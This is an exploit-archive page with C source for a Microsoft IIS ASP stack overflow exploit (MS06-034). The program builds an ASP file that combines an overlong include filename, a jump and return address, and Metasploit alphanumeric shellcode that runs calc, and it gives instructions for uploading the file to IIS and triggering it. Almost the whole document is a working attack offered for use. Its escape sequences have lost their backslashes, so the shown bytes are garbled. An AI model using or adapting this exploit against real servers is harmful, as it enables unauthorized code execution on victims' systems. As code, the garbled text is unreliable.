[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Microsoft IIS ASP Stack Overflow Exploit (MS06-034)
# Published : 2006-07-21
# Author : cocoruder
# Previous Title : Xmame 0.102 (-lang) Local Buffer Overflow Exploit (c code)
# Next Title : Cheese Tracker <= 0.9.9 Local Buffer Overflow Exploit PoC


#include <stdio.h>
#include <windows.h>

/***********************************************************************
Microsoft IIS ASP Stack Overflow Exploit(MS06-034)

by cocoruder(frankruder_at_hotmail.com),2006/7/13
page:http://ruder.cdut.net/default.asp

successfully test on Windows 2000 Server SP4+IIS5.0,
On Windows 2003 Server+IIS6.0,because the new SEH protection mechanisms,
you should set the new fs:[0]->hander flexibility,this need some luck.

usage:
upload the "exploit2000.asp" to IIS web directory,use web
browser to visit it,then the shellcode will execute.

************************************************************************/




//include asp filename length=10ch>104h
unsigned char asp_include_header[]=
"<!--#include file="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.asp"-->";

//jmp 8
unsigned char code_jmp8[]=
"xEBx06x90x90";

//jmp ebx address
unsigned char addr_jmp_ebx[]=
"x66x4AxE6x77";

// shellcode !! Must be free of Unicode null terminators (0x0000) !!
// win32_exec - EXITFUNC=process CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
unsigned char shellcode[]=
"xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49"
"x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36"
"x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34"
"x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41"
"x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4ax4ex46x34"
"x42x50x42x50x42x30x4bx38x45x34x4ex43x4bx48x4ex47"
"x45x30x4ax37x41x30x4fx4ex4bx38x4fx34x4ax51x4bx48"
"x4fx55x42x42x41x30x4bx4ex49x44x4bx58x46x43x4bx58"
"x41x50x50x4ex41x33x42x4cx49x59x4ex4ax46x48x42x4c"
"x46x57x47x30x41x4cx4cx4cx4dx30x41x30x44x4cx4bx4e"
"x46x4fx4bx43x46x45x46x42x46x50x45x37x45x4ex4bx38"
"x4fx45x46x42x41x50x4bx4ex48x36x4bx58x4ex30x4bx54"
"x4bx38x4fx35x4ex51x41x50x4bx4ex4bx48x4ex41x4bx48"
"x41x50x4bx4ex49x48x4ex45x46x42x46x50x43x4cx41x53"
"x42x4cx46x36x4bx58x42x54x42x53x45x48x42x4cx4ax37"
"x4ex30x4bx48x42x34x4ex50x4bx58x42x57x4ex51x4dx4a"
"x4bx48x4ax46x4ax50x4bx4ex49x50x4bx38x42x58x42x4b"
"x42x30x42x50x42x30x4bx38x4ax56x4ex43x4fx35x41x53"
"x48x4fx42x56x48x45x49x38x4ax4fx43x48x42x4cx4bx37"
"x42x35x4ax36x50x47x4ax4dx44x4ex43x47x4ax36x4ax49"
"x50x4fx4cx48x50x50x47x55x4fx4fx47x4ex43x46x41x46"
"x4ex46x43x46x42x30x5a";



void main(void)
{
FILE *fp=NULL;
int i;

printf("[+] Creating file...exploit.aspn");


if ((fp=fopen("exploit2000.asp","wb"))==NULL)
{
printf("fopen error!n");
return;
}


fwrite(asp_include_header,sizeof(asp_include_header)-1,1,fp);

//fill
for (i=0;i<0x135;i++)
{
fwrite("x41",1,1,fp);
}

fwrite(code_jmp8,4,1,fp);

fwrite(addr_jmp_ebx,4,1,fp);

fwrite(shellcode,sizeof(shellcode)-1,1,fp);

//fill
for (i=0;i<0x1500;i++)
{
fwrite("x41",1,1,fp);
}

fclose(fp);


printf("[+] Exploit file has been successfully built.n");

}

# www.Syue.com [2006-07-21]